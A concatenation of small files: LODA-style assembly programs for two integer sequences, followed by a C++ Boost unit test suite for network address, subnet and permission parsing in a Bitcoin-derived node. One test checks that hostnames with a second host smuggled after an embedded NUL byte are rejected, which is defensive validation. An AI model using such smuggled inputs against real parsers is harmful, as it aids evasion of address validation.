26222321,210065472241,222754736961,236010384481,249849022801,264287499921,279342903841,295032562561,311374044081,328385156401,346083947521,364488705441,383617958161,403490473681,424125260001,445541565121,467758877041,490796923761,514675673281,539415333601,565036352721,591559418641,619005459361,647395642881,676751377201,707094310321,738446330241,770829564961,804266382481,838779390801,874391437921,911125611841,949005240561,988053892081
mul $0,10
add $0,7
pow $0,4
|
; A089143: a(n) = 9*2^n - 6.
; 3,12,30,66,138,282,570,1146,2298,4602,9210,18426,36858,73722,147450,294906,589818,1179642,2359290,4718586,9437178,18874362,37748730,75497466,150994938,301989882,603979770,1207959546,2415919098,4831838202,9663676410,19327352826
mov $1,2
pow $1,$0
sub $1,1
mul $1,9
add $1,3
|
// Copyright (c) 2012-2020 The Mantle Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <net_permissions.h>
#include <netbase.h>
#include <protocol.h>
#include <serialize.h>
#include <streams.h>
#include <test/util/setup_common.h>
#include <util/strencodings.h>
#include <util/translation.h>
#include <version.h>
#include <string>
#include <boost/test/unit_test.hpp>
BOOST_FIXTURE_TEST_SUITE(netbase_tests, BasicTestingSetup)
static CNetAddr ResolveIP(const std::string& ip)
{
CNetAddr addr;
LookupHost(ip, addr, false);
return addr;
}
static CSubNet ResolveSubNet(const std::string& subnet)
{
CSubNet ret;
LookupSubNet(subnet, ret);
return ret;
}
static CNetAddr CreateInternal(const std::string& host)
{
CNetAddr addr;
addr.SetInternal(host);
return addr;
}
BOOST_AUTO_TEST_CASE(netbase_networks)
{
BOOST_CHECK(ResolveIP("127.0.0.1").GetNetwork() == NET_UNROUTABLE);
BOOST_CHECK(ResolveIP("::1").GetNetwork() == NET_UNROUTABLE);
BOOST_CHECK(ResolveIP("8.8.8.8").GetNetwork() == NET_IPV4);
BOOST_CHECK(ResolveIP("2001::8888").GetNetwork() == NET_IPV6);
BOOST_CHECK(ResolveIP("FD87:D87E:EB43:edb1:8e4:3588:e546:35ca").GetNetwork() == NET_ONION);
BOOST_CHECK(CreateInternal("foo.com").GetNetwork() == NET_INTERNAL);
}
BOOST_AUTO_TEST_CASE(netbase_properties)
{
BOOST_CHECK(ResolveIP("127.0.0.1").IsIPv4());
BOOST_CHECK(ResolveIP("::FFFF:192.168.1.1").IsIPv4());
BOOST_CHECK(ResolveIP("::1").IsIPv6());
BOOST_CHECK(ResolveIP("10.0.0.1").IsRFC1918());
BOOST_CHECK(ResolveIP("192.168.1.1").IsRFC1918());
BOOST_CHECK(ResolveIP("172.31.255.255").IsRFC1918());
BOOST_CHECK(ResolveIP("198.18.0.0").IsRFC2544());
BOOST_CHECK(ResolveIP("198.19.255.255").IsRFC2544());
BOOST_CHECK(ResolveIP("2001:0DB8::").IsRFC3849());
BOOST_CHECK(ResolveIP("169.254.1.1").IsRFC3927());
BOOST_CHECK(ResolveIP("2002::1").IsRFC3964());
BOOST_CHECK(ResolveIP("FC00::").IsRFC4193());
BOOST_CHECK(ResolveIP("2001::2").IsRFC4380());
BOOST_CHECK(ResolveIP("2001:10::").IsRFC4843());
BOOST_CHECK(ResolveIP("2001:20::").IsRFC7343());
BOOST_CHECK(ResolveIP("FE80::").IsRFC4862());
BOOST_CHECK(ResolveIP("64:FF9B::").IsRFC6052());
BOOST_CHECK(ResolveIP("FD87:D87E:EB43:edb1:8e4:3588:e546:35ca").IsTor());
BOOST_CHECK(ResolveIP("127.0.0.1").IsLocal());
BOOST_CHECK(ResolveIP("::1").IsLocal());
BOOST_CHECK(ResolveIP("8.8.8.8").IsRoutable());
BOOST_CHECK(ResolveIP("2001::1").IsRoutable());
BOOST_CHECK(ResolveIP("127.0.0.1").IsValid());
BOOST_CHECK(CreateInternal("FD6B:88C0:8724:edb1:8e4:3588:e546:35ca").IsInternal());
BOOST_CHECK(CreateInternal("bar.com").IsInternal());
}
bool static TestSplitHost(std::string test, std::string host, int port)
{
std::string hostOut;
int portOut = -1;
SplitHostPort(test, portOut, hostOut);
return hostOut == host && port == portOut;
}
BOOST_AUTO_TEST_CASE(netbase_splithost)
{
BOOST_CHECK(TestSplitHost("www.mantlecore.org", "www.mantlecore.org", -1));
BOOST_CHECK(TestSplitHost("[www.mantlecore.org]", "www.mantlecore.org", -1));
BOOST_CHECK(TestSplitHost("www.mantlecore.org:80", "www.mantlecore.org", 80));
BOOST_CHECK(TestSplitHost("[www.mantlecore.org]:80", "www.mantlecore.org", 80));
BOOST_CHECK(TestSplitHost("127.0.0.1", "127.0.0.1", -1));
BOOST_CHECK(TestSplitHost("127.0.0.1:7333", "127.0.0.1", 7333));
BOOST_CHECK(TestSplitHost("[127.0.0.1]", "127.0.0.1", -1));
BOOST_CHECK(TestSplitHost("[127.0.0.1]:7333", "127.0.0.1", 7333));
BOOST_CHECK(TestSplitHost("::ffff:127.0.0.1", "::ffff:127.0.0.1", -1));
BOOST_CHECK(TestSplitHost("[::ffff:127.0.0.1]:7333", "::ffff:127.0.0.1", 7333));
BOOST_CHECK(TestSplitHost("[::]:7333", "::", 7333));
BOOST_CHECK(TestSplitHost("::7333", "::7333", -1));
BOOST_CHECK(TestSplitHost(":7333", "", 7333));
BOOST_CHECK(TestSplitHost("[]:7333", "", 7333));
BOOST_CHECK(TestSplitHost("", "", -1));
}
bool static TestParse(std::string src, std::string canon)
{
CService addr(LookupNumeric(src, 65535));
return canon == addr.ToString();
}
BOOST_AUTO_TEST_CASE(netbase_lookupnumeric)
{
BOOST_CHECK(TestParse("127.0.0.1", "127.0.0.1:65535"));
BOOST_CHECK(TestParse("127.0.0.1:7333", "127.0.0.1:7333"));
BOOST_CHECK(TestParse("::ffff:127.0.0.1", "127.0.0.1:65535"));
BOOST_CHECK(TestParse("::", "[::]:65535"));
BOOST_CHECK(TestParse("[::]:7333", "[::]:7333"));
BOOST_CHECK(TestParse("[127.0.0.1]", "127.0.0.1:65535"));
BOOST_CHECK(TestParse(":::", "[::]:0"));
// verify that an internal address fails to resolve
BOOST_CHECK(TestParse("[fd6b:88c0:8724:1:2:3:4:5]", "[::]:0"));
// and that a one-off resolves correctly
BOOST_CHECK(TestParse("[fd6c:88c0:8724:1:2:3:4:5]", "[fd6c:88c0:8724:1:2:3:4:5]:65535"));
}
BOOST_AUTO_TEST_CASE(onioncat_test)
{
// values from https://web.archive.org/web/20121122003543/http://www.cypherpunk.at/onioncat/wiki/OnionCat
CNetAddr addr1(ResolveIP("5wyqrzbvrdsumnok.onion"));
CNetAddr addr2(ResolveIP("FD87:D87E:EB43:edb1:8e4:3588:e546:35ca"));
BOOST_CHECK(addr1 == addr2);
BOOST_CHECK(addr1.IsTor());
BOOST_CHECK(addr1.ToStringIP() == "5wyqrzbvrdsumnok.onion");
BOOST_CHECK(addr1.IsRoutable());
}
BOOST_AUTO_TEST_CASE(embedded_test)
{
CNetAddr addr1(ResolveIP("1.2.3.4"));
CNetAddr addr2(ResolveIP("::FFFF:0102:0304"));
BOOST_CHECK(addr2.IsIPv4());
BOOST_CHECK_EQUAL(addr1.ToString(), addr2.ToString());
}
BOOST_AUTO_TEST_CASE(subnet_test)
{
BOOST_CHECK(ResolveSubNet("1.2.3.0/24") == ResolveSubNet("1.2.3.0/255.255.255.0"));
BOOST_CHECK(ResolveSubNet("1.2.3.0/24") != ResolveSubNet("1.2.4.0/255.255.255.0"));
BOOST_CHECK(ResolveSubNet("1.2.3.0/24").Match(ResolveIP("1.2.3.4")));
BOOST_CHECK(!ResolveSubNet("1.2.2.0/24").Match(ResolveIP("1.2.3.4")));
BOOST_CHECK(ResolveSubNet("1.2.3.4").Match(ResolveIP("1.2.3.4")));
BOOST_CHECK(ResolveSubNet("1.2.3.4/32").Match(ResolveIP("1.2.3.4")));
BOOST_CHECK(!ResolveSubNet("1.2.3.4").Match(ResolveIP("5.6.7.8")));
BOOST_CHECK(!ResolveSubNet("1.2.3.4/32").Match(ResolveIP("5.6.7.8")));
BOOST_CHECK(ResolveSubNet("::ffff:127.0.0.1").Match(ResolveIP("127.0.0.1")));
BOOST_CHECK(ResolveSubNet("1:2:3:4:5:6:7:8").Match(ResolveIP("1:2:3:4:5:6:7:8")));
BOOST_CHECK(!ResolveSubNet("1:2:3:4:5:6:7:8").Match(ResolveIP("1:2:3:4:5:6:7:9")));
BOOST_CHECK(ResolveSubNet("1:2:3:4:5:6:7:0/112").Match(ResolveIP("1:2:3:4:5:6:7:1234")));
BOOST_CHECK(ResolveSubNet("192.168.0.1/24").Match(ResolveIP("192.168.0.2")));
BOOST_CHECK(ResolveSubNet("192.168.0.20/29").Match(ResolveIP("192.168.0.18")));
BOOST_CHECK(ResolveSubNet("1.2.2.1/24").Match(ResolveIP("1.2.2.4")));
BOOST_CHECK(ResolveSubNet("1.2.2.110/31").Match(ResolveIP("1.2.2.111")));
BOOST_CHECK(ResolveSubNet("1.2.2.20/26").Match(ResolveIP("1.2.2.63")));
// All-Matching IPv6 Matches arbitrary IPv6
BOOST_CHECK(ResolveSubNet("::/0").Match(ResolveIP("1:2:3:4:5:6:7:1234")));
// But not `::` or `0.0.0.0` because they are considered invalid addresses
BOOST_CHECK(!ResolveSubNet("::/0").Match(ResolveIP("::")));
BOOST_CHECK(!ResolveSubNet("::/0").Match(ResolveIP("0.0.0.0")));
// Addresses from one network (IPv4) don't belong to subnets of another network (IPv6)
BOOST_CHECK(!ResolveSubNet("::/0").Match(ResolveIP("1.2.3.4")));
// All-Matching IPv4 does not Match IPv6
BOOST_CHECK(!ResolveSubNet("0.0.0.0/0").Match(ResolveIP("1:2:3:4:5:6:7:1234")));
// Invalid subnets Match nothing (not even invalid addresses)
BOOST_CHECK(!CSubNet().Match(ResolveIP("1.2.3.4")));
BOOST_CHECK(!ResolveSubNet("").Match(ResolveIP("4.5.6.7")));
BOOST_CHECK(!ResolveSubNet("bloop").Match(ResolveIP("0.0.0.0")));
BOOST_CHECK(!ResolveSubNet("bloop").Match(ResolveIP("hab")));
// Check valid/invalid
BOOST_CHECK(ResolveSubNet("1.2.3.0/0").IsValid());
BOOST_CHECK(!ResolveSubNet("1.2.3.0/-1").IsValid());
BOOST_CHECK(ResolveSubNet("1.2.3.0/32").IsValid());
BOOST_CHECK(!ResolveSubNet("1.2.3.0/33").IsValid());
BOOST_CHECK(!ResolveSubNet("1.2.3.0/300").IsValid());
BOOST_CHECK(ResolveSubNet("1:2:3:4:5:6:7:8/0").IsValid());
BOOST_CHECK(ResolveSubNet("1:2:3:4:5:6:7:8/33").IsValid());
BOOST_CHECK(!ResolveSubNet("1:2:3:4:5:6:7:8/-1").IsValid());
BOOST_CHECK(ResolveSubNet("1:2:3:4:5:6:7:8/128").IsValid());
BOOST_CHECK(!ResolveSubNet("1:2:3:4:5:6:7:8/129").IsValid());
BOOST_CHECK(!ResolveSubNet("fuzzy").IsValid());
//CNetAddr constructor test
BOOST_CHECK(CSubNet(ResolveIP("127.0.0.1")).IsValid());
BOOST_CHECK(CSubNet(ResolveIP("127.0.0.1")).Match(ResolveIP("127.0.0.1")));
BOOST_CHECK(!CSubNet(ResolveIP("127.0.0.1")).Match(ResolveIP("127.0.0.2")));
BOOST_CHECK(CSubNet(ResolveIP("127.0.0.1")).ToString() == "127.0.0.1/32");
CSubNet subnet = CSubNet(ResolveIP("1.2.3.4"), 32);
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.4/32");
subnet = CSubNet(ResolveIP("1.2.3.4"), 8);
BOOST_CHECK_EQUAL(subnet.ToString(), "1.0.0.0/8");
subnet = CSubNet(ResolveIP("1.2.3.4"), 0);
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/0");
subnet = CSubNet(ResolveIP("1.2.3.4"), ResolveIP("255.255.255.255"));
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.4/32");
subnet = CSubNet(ResolveIP("1.2.3.4"), ResolveIP("255.0.0.0"));
BOOST_CHECK_EQUAL(subnet.ToString(), "1.0.0.0/8");
subnet = CSubNet(ResolveIP("1.2.3.4"), ResolveIP("0.0.0.0"));
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/0");
BOOST_CHECK(CSubNet(ResolveIP("1:2:3:4:5:6:7:8")).IsValid());
BOOST_CHECK(CSubNet(ResolveIP("1:2:3:4:5:6:7:8")).Match(ResolveIP("1:2:3:4:5:6:7:8")));
BOOST_CHECK(!CSubNet(ResolveIP("1:2:3:4:5:6:7:8")).Match(ResolveIP("1:2:3:4:5:6:7:9")));
BOOST_CHECK(CSubNet(ResolveIP("1:2:3:4:5:6:7:8")).ToString() == "1:2:3:4:5:6:7:8/128");
// IPv4 address with IPv6 netmask or the other way around.
BOOST_CHECK(!CSubNet(ResolveIP("1.1.1.1"), ResolveIP("ffff::")).IsValid());
BOOST_CHECK(!CSubNet(ResolveIP("::1"), ResolveIP("255.0.0.0")).IsValid());
// Create Non-IP subnets.
const CNetAddr tor_addr{
ResolveIP("pg6mmjiyjmcrsslvykfwnntlaru7p5svn6y2ymmju6nubxndf4pscryd.onion")};
subnet = CSubNet(tor_addr);
BOOST_CHECK(subnet.IsValid());
BOOST_CHECK_EQUAL(subnet.ToString(), tor_addr.ToString());
BOOST_CHECK(subnet.Match(tor_addr));
BOOST_CHECK(
!subnet.Match(ResolveIP("kpgvmscirrdqpekbqjsvw5teanhatztpp2gl6eee4zkowvwfxwenqaid.onion")));
BOOST_CHECK(!subnet.Match(ResolveIP("1.2.3.4")));
BOOST_CHECK(!CSubNet(tor_addr, 200).IsValid());
BOOST_CHECK(!CSubNet(tor_addr, ResolveIP("255.0.0.0")).IsValid());
subnet = ResolveSubNet("1.2.3.4/255.255.255.255");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.4/32");
subnet = ResolveSubNet("1.2.3.4/255.255.255.254");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.4/31");
subnet = ResolveSubNet("1.2.3.4/255.255.255.252");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.4/30");
subnet = ResolveSubNet("1.2.3.4/255.255.255.248");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.0/29");
subnet = ResolveSubNet("1.2.3.4/255.255.255.240");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.0/28");
subnet = ResolveSubNet("1.2.3.4/255.255.255.224");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.0/27");
subnet = ResolveSubNet("1.2.3.4/255.255.255.192");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.0/26");
subnet = ResolveSubNet("1.2.3.4/255.255.255.128");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.0/25");
subnet = ResolveSubNet("1.2.3.4/255.255.255.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.3.0/24");
subnet = ResolveSubNet("1.2.3.4/255.255.254.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.2.0/23");
subnet = ResolveSubNet("1.2.3.4/255.255.252.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.0.0/22");
subnet = ResolveSubNet("1.2.3.4/255.255.248.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.0.0/21");
subnet = ResolveSubNet("1.2.3.4/255.255.240.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.0.0/20");
subnet = ResolveSubNet("1.2.3.4/255.255.224.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.0.0/19");
subnet = ResolveSubNet("1.2.3.4/255.255.192.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.0.0/18");
subnet = ResolveSubNet("1.2.3.4/255.255.128.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.0.0/17");
subnet = ResolveSubNet("1.2.3.4/255.255.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.0.0/16");
subnet = ResolveSubNet("1.2.3.4/255.254.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.2.0.0/15");
subnet = ResolveSubNet("1.2.3.4/255.252.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.0.0.0/14");
subnet = ResolveSubNet("1.2.3.4/255.248.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.0.0.0/13");
subnet = ResolveSubNet("1.2.3.4/255.240.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.0.0.0/12");
subnet = ResolveSubNet("1.2.3.4/255.224.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.0.0.0/11");
subnet = ResolveSubNet("1.2.3.4/255.192.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.0.0.0/10");
subnet = ResolveSubNet("1.2.3.4/255.128.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.0.0.0/9");
subnet = ResolveSubNet("1.2.3.4/255.0.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "1.0.0.0/8");
subnet = ResolveSubNet("1.2.3.4/254.0.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/7");
subnet = ResolveSubNet("1.2.3.4/252.0.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/6");
subnet = ResolveSubNet("1.2.3.4/248.0.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/5");
subnet = ResolveSubNet("1.2.3.4/240.0.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/4");
subnet = ResolveSubNet("1.2.3.4/224.0.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/3");
subnet = ResolveSubNet("1.2.3.4/192.0.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/2");
subnet = ResolveSubNet("1.2.3.4/128.0.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/1");
subnet = ResolveSubNet("1.2.3.4/0.0.0.0");
BOOST_CHECK_EQUAL(subnet.ToString(), "0.0.0.0/0");
subnet = ResolveSubNet("1:2:3:4:5:6:7:8/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
BOOST_CHECK_EQUAL(subnet.ToString(), "1:2:3:4:5:6:7:8/128");
subnet = ResolveSubNet("1:2:3:4:5:6:7:8/ffff:0000:0000:0000:0000:0000:0000:0000");
BOOST_CHECK_EQUAL(subnet.ToString(), "1::/16");
subnet = ResolveSubNet("1:2:3:4:5:6:7:8/0000:0000:0000:0000:0000:0000:0000:0000");
BOOST_CHECK_EQUAL(subnet.ToString(), "::/0");
// Invalid netmasks (with 1-bits after 0-bits)
subnet = ResolveSubNet("1.2.3.4/255.255.232.0");
BOOST_CHECK(!subnet.IsValid());
subnet = ResolveSubNet("1.2.3.4/255.0.255.255");
BOOST_CHECK(!subnet.IsValid());
subnet = ResolveSubNet("1:2:3:4:5:6:7:8/ffff:ffff:ffff:fffe:ffff:ffff:ffff:ff0f");
BOOST_CHECK(!subnet.IsValid());
}
BOOST_AUTO_TEST_CASE(netbase_getgroup)
{
std::vector<bool> asmap; // use /16
BOOST_CHECK(ResolveIP("127.0.0.1").GetGroup(asmap) == std::vector<unsigned char>({0})); // Local -> !Routable()
BOOST_CHECK(ResolveIP("257.0.0.1").GetGroup(asmap) == std::vector<unsigned char>({0})); // !Valid -> !Routable()
BOOST_CHECK(ResolveIP("10.0.0.1").GetGroup(asmap) == std::vector<unsigned char>({0})); // RFC1918 -> !Routable()
BOOST_CHECK(ResolveIP("169.254.1.1").GetGroup(asmap) == std::vector<unsigned char>({0})); // RFC3927 -> !Routable()
BOOST_CHECK(ResolveIP("1.2.3.4").GetGroup(asmap) == std::vector<unsigned char>({(unsigned char)NET_IPV4, 1, 2})); // IPv4
BOOST_CHECK(ResolveIP("::FFFF:0:102:304").GetGroup(asmap) == std::vector<unsigned char>({(unsigned char)NET_IPV4, 1, 2})); // RFC6145
BOOST_CHECK(ResolveIP("64:FF9B::102:304").GetGroup(asmap) == std::vector<unsigned char>({(unsigned char)NET_IPV4, 1, 2})); // RFC6052
BOOST_CHECK(ResolveIP("2002:102:304:9999:9999:9999:9999:9999").GetGroup(asmap) == std::vector<unsigned char>({(unsigned char)NET_IPV4, 1, 2})); // RFC3964
BOOST_CHECK(ResolveIP("2001:0:9999:9999:9999:9999:FEFD:FCFB").GetGroup(asmap) == std::vector<unsigned char>({(unsigned char)NET_IPV4, 1, 2})); // RFC4380
BOOST_CHECK(ResolveIP("FD87:D87E:EB43:edb1:8e4:3588:e546:35ca").GetGroup(asmap) == std::vector<unsigned char>({(unsigned char)NET_ONION, 239})); // Tor
BOOST_CHECK(ResolveIP("2001:470:abcd:9999:9999:9999:9999:9999").GetGroup(asmap) == std::vector<unsigned char>({(unsigned char)NET_IPV6, 32, 1, 4, 112, 175})); //he.net
BOOST_CHECK(ResolveIP("2001:2001:9999:9999:9999:9999:9999:9999").GetGroup(asmap) == std::vector<unsigned char>({(unsigned char)NET_IPV6, 32, 1, 32, 1})); //IPv6
// baz.net sha256 hash: 12929400eb4607c4ac075f087167e75286b179c693eb059a01774b864e8fe505
std::vector<unsigned char> internal_group = {NET_INTERNAL, 0x12, 0x92, 0x94, 0x00, 0xeb, 0x46, 0x07, 0xc4, 0xac, 0x07};
BOOST_CHECK(CreateInternal("baz.net").GetGroup(asmap) == internal_group);
}
BOOST_AUTO_TEST_CASE(netbase_parsenetwork)
{
BOOST_CHECK_EQUAL(ParseNetwork("ipv4"), NET_IPV4);
BOOST_CHECK_EQUAL(ParseNetwork("ipv6"), NET_IPV6);
BOOST_CHECK_EQUAL(ParseNetwork("onion"), NET_ONION);
BOOST_CHECK_EQUAL(ParseNetwork("tor"), NET_ONION);
BOOST_CHECK_EQUAL(ParseNetwork("IPv4"), NET_IPV4);
BOOST_CHECK_EQUAL(ParseNetwork("IPv6"), NET_IPV6);
BOOST_CHECK_EQUAL(ParseNetwork("ONION"), NET_ONION);
BOOST_CHECK_EQUAL(ParseNetwork("TOR"), NET_ONION);
BOOST_CHECK_EQUAL(ParseNetwork(":)"), NET_UNROUTABLE);
BOOST_CHECK_EQUAL(ParseNetwork("tÖr"), NET_UNROUTABLE);
BOOST_CHECK_EQUAL(ParseNetwork("\xfe\xff"), NET_UNROUTABLE);
BOOST_CHECK_EQUAL(ParseNetwork(""), NET_UNROUTABLE);
}
BOOST_AUTO_TEST_CASE(netpermissions_test)
{
bilingual_str error;
NetWhitebindPermissions whitebindPermissions;
NetWhitelistPermissions whitelistPermissions;
// Detect invalid white bind
BOOST_CHECK(!NetWhitebindPermissions::TryParse("", whitebindPermissions, error));
BOOST_CHECK(error.original.find("Cannot resolve -whitebind address") != std::string::npos);
BOOST_CHECK(!NetWhitebindPermissions::TryParse("127.0.0.1", whitebindPermissions, error));
BOOST_CHECK(error.original.find("Need to specify a port with -whitebind") != std::string::npos);
BOOST_CHECK(!NetWhitebindPermissions::TryParse("", whitebindPermissions, error));
// If no permission flags, assume backward compatibility
BOOST_CHECK(NetWhitebindPermissions::TryParse("1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK(error.empty());
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_ISIMPLICIT);
BOOST_CHECK(NetPermissions::HasFlag(whitebindPermissions.m_flags, PF_ISIMPLICIT));
NetPermissions::ClearFlag(whitebindPermissions.m_flags, PF_ISIMPLICIT);
BOOST_CHECK(!NetPermissions::HasFlag(whitebindPermissions.m_flags, PF_ISIMPLICIT));
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_NONE);
NetPermissions::AddFlag(whitebindPermissions.m_flags, PF_ISIMPLICIT);
BOOST_CHECK(NetPermissions::HasFlag(whitebindPermissions.m_flags, PF_ISIMPLICIT));
// Can set one permission
BOOST_CHECK(NetWhitebindPermissions::TryParse("bloom@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_BLOOMFILTER);
BOOST_CHECK(NetWhitebindPermissions::TryParse("@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_NONE);
// Happy path, can parse flags
BOOST_CHECK(NetWhitebindPermissions::TryParse("bloom,forcerelay@1.2.3.4:32", whitebindPermissions, error));
// forcerelay should also activate the relay permission
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_BLOOMFILTER | PF_FORCERELAY | PF_RELAY);
BOOST_CHECK(NetWhitebindPermissions::TryParse("bloom,relay,noban@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_BLOOMFILTER | PF_RELAY | PF_NOBAN);
BOOST_CHECK(NetWhitebindPermissions::TryParse("bloom,forcerelay,noban@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK(NetWhitebindPermissions::TryParse("all@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_ALL);
// Allow dups
BOOST_CHECK(NetWhitebindPermissions::TryParse("bloom,relay,noban,noban@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_BLOOMFILTER | PF_RELAY | PF_NOBAN);
// Allow empty
BOOST_CHECK(NetWhitebindPermissions::TryParse("bloom,relay,,noban@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_BLOOMFILTER | PF_RELAY | PF_NOBAN);
BOOST_CHECK(NetWhitebindPermissions::TryParse(",@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_NONE);
BOOST_CHECK(NetWhitebindPermissions::TryParse(",,@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK_EQUAL(whitebindPermissions.m_flags, PF_NONE);
// Detect invalid flag
BOOST_CHECK(!NetWhitebindPermissions::TryParse("bloom,forcerelay,oopsie@1.2.3.4:32", whitebindPermissions, error));
BOOST_CHECK(error.original.find("Invalid P2P permission") != std::string::npos);
// Check netmask error
BOOST_CHECK(!NetWhitelistPermissions::TryParse("bloom,forcerelay,noban@1.2.3.4:32", whitelistPermissions, error));
BOOST_CHECK(error.original.find("Invalid netmask specified in -whitelist") != std::string::npos);
// Happy path for whitelist parsing
BOOST_CHECK(NetWhitelistPermissions::TryParse("noban@1.2.3.4", whitelistPermissions, error));
BOOST_CHECK_EQUAL(whitelistPermissions.m_flags, PF_NOBAN);
BOOST_CHECK(NetWhitelistPermissions::TryParse("bloom,forcerelay,noban,relay@1.2.3.4/32", whitelistPermissions, error));
BOOST_CHECK_EQUAL(whitelistPermissions.m_flags, PF_BLOOMFILTER | PF_FORCERELAY | PF_NOBAN | PF_RELAY);
BOOST_CHECK(error.empty());
BOOST_CHECK_EQUAL(whitelistPermissions.m_subnet.ToString(), "1.2.3.4/32");
BOOST_CHECK(NetWhitelistPermissions::TryParse("bloom,forcerelay,noban,relay,mempool@1.2.3.4/32", whitelistPermissions, error));
const auto strings = NetPermissions::ToStrings(PF_ALL);
BOOST_CHECK_EQUAL(strings.size(), 7U);
BOOST_CHECK(std::find(strings.begin(), strings.end(), "bloomfilter") != strings.end());
BOOST_CHECK(std::find(strings.begin(), strings.end(), "forcerelay") != strings.end());
BOOST_CHECK(std::find(strings.begin(), strings.end(), "relay") != strings.end());
BOOST_CHECK(std::find(strings.begin(), strings.end(), "noban") != strings.end());
BOOST_CHECK(std::find(strings.begin(), strings.end(), "mempool") != strings.end());
BOOST_CHECK(std::find(strings.begin(), strings.end(), "download") != strings.end());
BOOST_CHECK(std::find(strings.begin(), strings.end(), "addr") != strings.end());
}
BOOST_AUTO_TEST_CASE(netbase_dont_resolve_strings_with_embedded_nul_characters)
{
CNetAddr addr;
BOOST_CHECK(LookupHost(std::string("127.0.0.1", 9), addr, false));
BOOST_CHECK(!LookupHost(std::string("127.0.0.1\0", 10), addr, false));
BOOST_CHECK(!LookupHost(std::string("127.0.0.1\0example.com", 21), addr, false));
BOOST_CHECK(!LookupHost(std::string("127.0.0.1\0example.com\0", 22), addr, false));
CSubNet ret;
BOOST_CHECK(LookupSubNet(std::string("1.2.3.0/24", 10), ret));
BOOST_CHECK(!LookupSubNet(std::string("1.2.3.0/24\0", 11), ret));
BOOST_CHECK(!LookupSubNet(std::string("1.2.3.0/24\0example.com", 22), ret));
BOOST_CHECK(!LookupSubNet(std::string("1.2.3.0/24\0example.com\0", 23), ret));
BOOST_CHECK(LookupSubNet(std::string("5wyqrzbvrdsumnok.onion", 22), ret));
BOOST_CHECK(!LookupSubNet(std::string("5wyqrzbvrdsumnok.onion\0", 23), ret));
BOOST_CHECK(!LookupSubNet(std::string("5wyqrzbvrdsumnok.onion\0example.com", 34), ret));
BOOST_CHECK(!LookupSubNet(std::string("5wyqrzbvrdsumnok.onion\0example.com\0", 35), ret));
}
// Since CNetAddr (un)ser is tested separately in net_tests.cpp here we only
// try a few edge cases for port, service flags and time.
static const std::vector<CAddress> fixture_addresses({
CAddress(
CService(CNetAddr(in6_addr(IN6ADDR_LOOPBACK_INIT)), 0 /* port */),
NODE_NONE,
0x4966bc61U /* Fri Jan 9 02:54:25 UTC 2009 */
),
CAddress(
CService(CNetAddr(in6_addr(IN6ADDR_LOOPBACK_INIT)), 0x00f1 /* port */),
NODE_NETWORK,
0x83766279U /* Tue Nov 22 11:22:33 UTC 2039 */
),
CAddress(
CService(CNetAddr(in6_addr(IN6ADDR_LOOPBACK_INIT)), 0xf1f2 /* port */),
static_cast<ServiceFlags>(NODE_WITNESS | NODE_COMPACT_FILTERS | NODE_NETWORK_LIMITED),
0xffffffffU /* Sun Feb 7 06:28:15 UTC 2106 */
)
});
// fixture_addresses should equal to this when serialized in V1 format.
// When this is unserialized from V1 format it should equal to fixture_addresses.
